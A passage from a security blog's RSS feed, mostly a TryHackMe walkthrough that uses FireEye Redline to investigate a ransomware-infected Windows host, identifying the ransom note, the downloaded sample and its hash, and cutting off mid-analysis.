&lt;em&gt;olevba&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Thank you so much for reading along and learning with me. I hope that you had as much fun as I did and learned something new, too. Stay curious!&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;REMnux Office Document Analysis Documentation:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/discover-the-tools/analyze&amp;#43;documents/microsoft&amp;#43;office&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.remnux.org/discover-the-tools/analyze+documents/microsoft+office&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;SANS Cheat Sheet for Analyzing Malicious Documents:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/posters/cheat-sheet-for-analyzing-malicious-documents/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.sans.org/posters/cheat-sheet-for-analyzing-malicious-documents/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Philippe Lagadec (decalage2) GitHub:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/decalage2&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/decalage2&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Oledump:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://blog.didierstevens.com/programs/oledump-py/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://blog.didierstevens.com/programs/oledump-py/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Oletools:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.decalage.info/python/oletools&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.decalage.info/python/oletools&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://answers.microsoft.com/en-us/msoffice/forum/all/introduction-to-the-office-macro-editor-part-2/ab747f7e-3c40-48cc-b28d-db5221701535&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Introduction to the Office Macro Editor, Part 2 — Microsoft Community&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CyberChef:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://gchq.github.io/CyberChef/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>TryHackMe  —  Redline Endpoint Investigation Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/</link>
            <pubDate>Sun, 10 Mar 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/8a88ff8286b65b1e94d9e2a94bbedfc6_MD5.png&#34; alt=&#34;Featured image of post TryHackMe  —  Redline Endpoint Investigation Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;tryhackmeredline-endpoint-investigation-challenge-walkthrough&#34;&gt;TryHackMe — Redline Endpoint Investigation Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;endpoint-investigation-with-the-fireeye-redline-securitytool&#34;&gt;Endpoint Investigation with the FireEye Redline Security Tool&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img alt=&#34;8a88ff8286b65b1e94d9e2a94bbedfc6_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;425px&#34; data-flex-grow=&#34;177&#34; height=&#34;310&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/8a88ff8286b65b1e94d9e2a94bbedfc6_MD5.png&#34; width=&#34;550&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://fireeye.market/apps/211364&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://fireeye.market/apps/211364&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Hello! Thanks for joining me on this walkthrough. This week I am going through the &lt;a class=&#34;link&#34; href=&#34;https://fireeye.market/apps/211364&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Redline&lt;/strong&gt;&lt;/a&gt; room on &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/room/btredlinejoxr3d&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TryHackMe&lt;/strong&gt;&lt;/a&gt;. &lt;a class=&#34;link&#34; href=&#34;https://fireeye.market/apps/211364&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;FireEye Redline&lt;/strong&gt;&lt;/a&gt; (not the info stealer malware) is an endpoint security memory analysis tool with file structure browsing capabilities, similar to &lt;em&gt;Volatility&lt;/em&gt; (&lt;a class=&#34;link&#34; href=&#34;https://stumblesec.medium.com/tryhackme-volatility-room-practical-challenge-walkthrough-b25f9786decc&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;see my previous &lt;strong&gt;TryHackMe&lt;/strong&gt; write-up&lt;/a&gt;), but with a nice GUI for navigation!&lt;/p&gt;&#xA;&lt;p&gt;As always, this write up will serve as both a learning journal for me and a &lt;strong&gt;TryHackMe&lt;/strong&gt; challenge walkthrough with some added context for anyone who stumbles on this post. To keep this focused, this walkthrough is only going to cover &lt;em&gt;Task 7: Endpoint Investigation&lt;/em&gt;. In the spirit of learning, I will not be revealing the flags in this walkthrough but this is a &lt;em&gt;FREE&lt;/em&gt; room so anyone can learn about &lt;strong&gt;Redline&lt;/strong&gt; and perform the investigation along with me and find the answer on your own. Thanks for reading — hope it helps!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/room/btredlinejoxr3d&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tryhackme.com/room/btredlinejoxr3d&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;task-7-endpoint-investigation&#34;&gt;Task 7 : Endpoint Investigation&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Scenario:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;A Senior Accountant, Charles, is complaining that he cannot access the spreadsheets and other files he has been working on. He also mentioned that his wallpaper got changed with the saying that his files got encrypted. This is not good news!&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Are you ready to perform the memory analysis of the compromised host? You have all the data you need to do some investigation on the victim’s machine. Let’s go hunting!&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;h3 id=&#34;question-1-can-you-identify-the-product-name-of-themachine&#34;&gt;Question 1: Can you identify the product name of the machine?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, let’s see if we can help Charles. Fortunately, the analysis session has already been created for this challenge, so we simply need to open the investigation (.mans) file in &lt;em&gt;Redline&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Once it (finally) opens, we have quite a few options explore in our &lt;em&gt;Analysis Data&lt;/em&gt; menu. Let’s start with a high-level view of the victim machine to better understand the environment at the time of the data collection. The &lt;em&gt;System Information&lt;/em&gt; tab has some great information including information about the Machine, OS, and User.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;1780e8c23fac351decb77303773a1f2d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;281px&#34; data-flex-grow=&#34;117&#34; height=&#34;682&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/1780e8c23fac351decb77303773a1f2d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;If we read through the information, I think we can find the answer to &lt;strong&gt;Question 1…&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d333c3a69274a8c042be68ed4737a713_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3096px&#34; data-flex-grow=&#34;1290&#34; height=&#34;62&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/d333c3a69274a8c042be68ed4737a713_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-can-you-find-the-name-of-the-note-left-on-the-desktop-for-the-charles&#34;&gt;Question 2: Can you find the name of the note left on the Desktop for the “Charles”?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, now that we have a better idea of the environment we are analyzing, we need to look for a “note” left for Charles. Since Charles complained that there was a message that his files were encrypted, we’re probably looking for a ransom note?&lt;/p&gt;&#xA;&lt;p&gt;There are a couple of ways I think we can find it. Let’s try the path of least resistance first. We can simply try navigating to Charles’ Desktop through the &lt;em&gt;File System&lt;/em&gt; tab and seeing what we find:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;daf97f2e6f6f89cb70fbd2210fea3fed_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;417px&#34; data-flex-grow=&#34;173&#34; height=&#34;460&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/daf97f2e6f6f89cb70fbd2210fea3fed_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;File System &amp;gt; Charles &amp;gt; Desktop&lt;/p&gt;&#xA;&lt;p&gt;Okay, this seems promising! We have a .txt file which is a standard plaintext document typically created by &lt;em&gt;Notepad&lt;/em&gt; in a Windows environment. Let’s approach this another way and confirm that we have the correct file.&lt;/p&gt;&#xA;&lt;p&gt;If we navigate to &lt;em&gt;Processes&lt;/em&gt; on the &lt;em&gt;Analysis Data&lt;/em&gt; panel, let’s look for &lt;em&gt;Notepad.&lt;/em&gt; We can use the filter but in this case, it’s pretty easy to spot in the process list.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;8f571c54193d4a2a35ec6b76988ac2dc_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;351px&#34; data-flex-grow=&#34;146&#34; height=&#34;546&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/8f571c54193d4a2a35ec6b76988ac2dc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let’s double click the &lt;em&gt;NOTEPAD.EXE&lt;/em&gt; process and see what additional information we can get.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;2e0753cea5dd4ded77de702430e20a16_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;817px&#34; data-flex-grow=&#34;340&#34; height=&#34;235&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/2e0753cea5dd4ded77de702430e20a16_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay, there we go! I think we found the answer we are looking for. It looks like some process spawned &lt;em&gt;Notepad.exe&lt;/em&gt; to generate the note and drop it on Charles’ desktop.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;9ceedf5945f54b2891ad33a6ec62142e_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3147px&#34; data-flex-grow=&#34;1311&#34; height=&#34;61&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/9ceedf5945f54b2891ad33a6ec62142e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-find-the-windows-defender-service-what-is-the-name-of-its-servicedll&#34;&gt;Question 3: Find the Windows Defender service; what is the name of its service DLL?&#xA;&lt;/h3&gt;&lt;p&gt;Alright, moving right along. We need to locate a DLL for the Windows Defender &lt;strong&gt;service&lt;/strong&gt;, so let’s go check out the &lt;em&gt;Windows Services&lt;/em&gt; section of the analysis panel.&lt;/p&gt;&#xA;&lt;p&gt;We have a couple of ways of locating this. We can filter all fields for &lt;em&gt;Windows Defender&lt;/em&gt; or we can filter the &lt;em&gt;Service DLL&lt;/em&gt; tab specifically.&lt;/p&gt;&#xA;&lt;p&gt;This time around, let’s use the &lt;em&gt;Service DLL&lt;/em&gt; column and filter for &lt;em&gt;Windows Defender.&lt;/em&gt; This should get us the information we need.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;1fb5e5dae44df1b383f56c40da5da449_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1398px&#34; data-flex-grow=&#34;582&#34; height=&#34;206&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/1fb5e5dae44df1b383f56c40da5da449_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/1fb5e5dae44df1b383f56c40da5da449_MD5_hu_4683638c60cb255d.png 800w, https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/1fb5e5dae44df1b383f56c40da5da449_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Filtering the Service DLL column.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d9f7548929d2181a3956c476ebf84b3e_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1404px&#34; data-flex-grow=&#34;585&#34; height=&#34;205&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/d9f7548929d2181a3956c476ebf84b3e_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/d9f7548929d2181a3956c476ebf84b3e_MD5_hu_8f1d309c7e59b631.png 800w, https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/d9f7548929d2181a3956c476ebf84b3e_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let’s submit the answer and confirm:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;67a6eb0dc12d78dd6895bf89ee7d4872_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2953px&#34; data-flex-grow=&#34;1230&#34; height=&#34;65&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/67a6eb0dc12d78dd6895bf89ee7d4872_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-the-user-manually-downloaded-a-zip-file-from-the-web-can-you-find-the-filename&#34;&gt;Question 4: The user manually downloaded a zip file from the web. Can you find the filename?&#xA;&lt;/h3&gt;&lt;p&gt;Moving along, let’s see if we can determine the source of the ransomware infection. Let’s start with something obvious, like supposing that the user downloaded a file.&lt;/p&gt;&#xA;&lt;p&gt;We can approach this in a similar way to &lt;strong&gt;Question 2.&lt;/strong&gt; We will start by manually evaluating the artifacts in Charles’ download folder and then use the &lt;em&gt;File Download History&lt;/em&gt; tab in the &lt;em&gt;Analysis Data&lt;/em&gt; pane to confirm.&lt;/p&gt;&#xA;&lt;p&gt;Let’s use the &lt;em&gt;File System&lt;/em&gt; tab and select the &lt;strong&gt;Downloads&lt;/strong&gt; folder for Charles. If we quickly scan the folder we mostly see some forensic tools like &lt;em&gt;FTK Imager&lt;/em&gt;, &lt;em&gt;Wireshark&lt;/em&gt;, and &lt;em&gt;Redline&lt;/em&gt; itself along with some incomplete downloads(the unconfirmed downloads), and &lt;em&gt;Microsoft&lt;/em&gt; update files. There is one file that looks a little strange though…&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;6d7361e729d9867a637897f89bafea96_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;712px&#34; data-flex-grow=&#34;297&#34; height=&#34;404&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/6d7361e729d9867a637897f89bafea96_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/6d7361e729d9867a637897f89bafea96_MD5_hu_206396c7acf66fdf.png 800w, https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/6d7361e729d9867a637897f89bafea96_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, let’s utilize the &lt;em&gt;File Download History&lt;/em&gt; tab_._ We can search by the file extension &lt;strong&gt;.zip&lt;/strong&gt; to search for the file we found during our manual review of the &lt;em&gt;Downloads&lt;/em&gt; folder.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;ad8681742e5e0d5032170b746fb9fe82_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;628px&#34; data-flex-grow=&#34;262&#34; height=&#34;458&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/ad8681742e5e0d5032170b746fb9fe82_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/ad8681742e5e0d5032170b746fb9fe82_MD5_hu_4ee3dbc0c179a6d8.png 800w, https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/ad8681742e5e0d5032170b746fb9fe82_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Look at the first result. There is a manual download entry with an intriguing URL — &lt;em&gt;Malware Bazaar&lt;/em&gt;. It appears Charles may have downloaded a malware sample.&lt;/p&gt;&#xA;&lt;p&gt;According to the &lt;em&gt;Malware Bazaar&lt;/em&gt; website:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;MalwareBazaar is a project from abuse.ch with the goal of sharing malware samples with the infosec community, AV vendors and threat intelligence providers.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Very interesting but for the purposes of this challenge, the &lt;em&gt;file name&lt;/em&gt; column confirms our finding from the &lt;em&gt;Downloads&lt;/em&gt; folder — we can go ahead and submit &lt;strong&gt;Question 4&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;8acbbc020c7f1bf70c9c8209de068b46_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2953px&#34; data-flex-grow=&#34;1230&#34; height=&#34;65&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/8acbbc020c7f1bf70c9c8209de068b46_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Side Note:&lt;/strong&gt; Before we move onto the next question, let’s try to add some context by checking out the timeline to get a better idea of the series of events leading up to the download of the malware sample. I had previously combed through the timeline and tagged relevant (the orange tag) events to get a focused view of the incident.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;aacf5874dc429670fa7213cfb2a7946a_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;774px&#34; data-flex-grow=&#34;322&#34; height=&#34;372&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/aacf5874dc429670fa7213cfb2a7946a_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/aacf5874dc429670fa7213cfb2a7946a_MD5_hu_b9e461ec2f630217.png 800w, https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/aacf5874dc429670fa7213cfb2a7946a_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;While this isn’t relevant for this challenge, this would be very interesting in a real world scenario. It’s possible that this sample was simply downloaded to create this challenge scenario but in the real world, we can’t rule out an insider threat since we have evidence of a &lt;em&gt;Google&lt;/em&gt; search for a piece of malware under the user’s profile.&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-provide-the-filename-of-the-malicious-executable-that-got-dropped-on-the-usersdesktop&#34;&gt;Question 5: Provide the filename of the malicious executable that got dropped on the user’s Desktop.&#xA;&lt;/h3&gt;&lt;p&gt;Let’s navigate back to Charles’ Desktop through the &lt;em&gt;file system&lt;/em&gt; tree view where we found the ransom note. On the Desktop, we see two executable (.exe) files. One appears to be the &lt;em&gt;Microsoft Office&lt;/em&gt; setup and the other seems a bit more suspicious…&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;440799367ef4250fe2c8f4dd6bb32a76_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;736px&#34; data-flex-grow=&#34;306&#34; height=&#34;391&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/440799367ef4250fe2c8f4dd6bb32a76_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/440799367ef4250fe2c8f4dd6bb32a76_MD5_hu_6b59ec96db42470c.png 800w, https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/440799367ef4250fe2c8f4dd6bb32a76_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;In &lt;strong&gt;Question 6&lt;/strong&gt; we will do a bit more analysis on this executable but for now, let’s submit our answer:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;34202077c83585996bf5d06a84f9bede_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3000px&#34; data-flex-grow=&#34;1250&#34; height=&#34;64&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/34202077c83585996bf5d06a84f9bede_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-provide-the-md5-hash-for-the-dropped-malicious-executable&#34;&gt;Question 6: Provide the MD5 hash for the dropped malicious executable.&#xA;&lt;/h3&gt;&lt;p&gt;Now for the easy part! Simply double-click the file within the tree view to drill down into the &lt;em&gt;Full Detailed Information&lt;/em&gt; for the file. Once the window loads, we will have some additional information about the file including a section for file hashes.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c3ac600e4ed38546fea18d7b07a10216_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;334px&#34; data-flex-grow=&#34;139&#34; height=&#34;574&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/c3ac600e4ed38546fea18d7b07a10216_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We can go ahead and submit the answer but keep that MD5 hash handy, as we will use it for some further IOC investigation in the next question.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;09b1708040f31a692ce648b05a852270_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3096px&#34; data-flex-grow=&#34;1290&#34; height=&#34;62&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/09b1708040f31a692ce648b05a852270_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-is-the-name-of-the-ransomware&#34;&gt;Question 7: What is the name of the ransomware?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, to fully determine the impact and remediate the incident, we need to identify exactly what malware we are investigating. Let’s start by taking the file hash of the malicious executable that we found in &lt;strong&gt;Question 6&lt;/strong&gt; and checking it against &lt;em&gt;VirusTotal&lt;/em&gt; &amp;amp; _Hybrid Analysis t_o see if we get any hits that can help us:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;10b682841dd87a66c1c65291678e3cdd_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;768px&#34; data-flex-grow=&#34;320&#34; height=&#34;375&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/10b682841dd87a66c1c65291678e3cdd_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/10b682841dd87a66c1c65291678e3cdd_MD5_hu_f9e0f33aff411732.png 800w, https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/10b682841dd87a66c1c65291678e3cdd_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal Result&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c5482aa79b0b7ae81e6f43fc87c097cb_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;666px&#34; data-flex-grow=&#34;277&#34; height=&#34;432&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/c5482aa79b0b7ae81e6f43fc87c097cb_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/c5482aa79b0b7ae81e6f43fc87c097cb_MD5_hu_a0f9b49691fac69d.png 800w, https://stumblesec.com/posts/tryhackme-redline-endpoint-investigation-challenge-walkthrough/c5482aa79b0b7ae81e6f43fc87c097cb_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hybrid Analysis Result&lt;/p&gt;&#xA;&lt;p&gt;Fortunately, we have a lot of detection for this particular executable. If we look through the labels and the details tab on these two services, we see a frequent name which identifies this malware family. I have a suspicion that this is the correct name for the ransomware but we can do a bit of 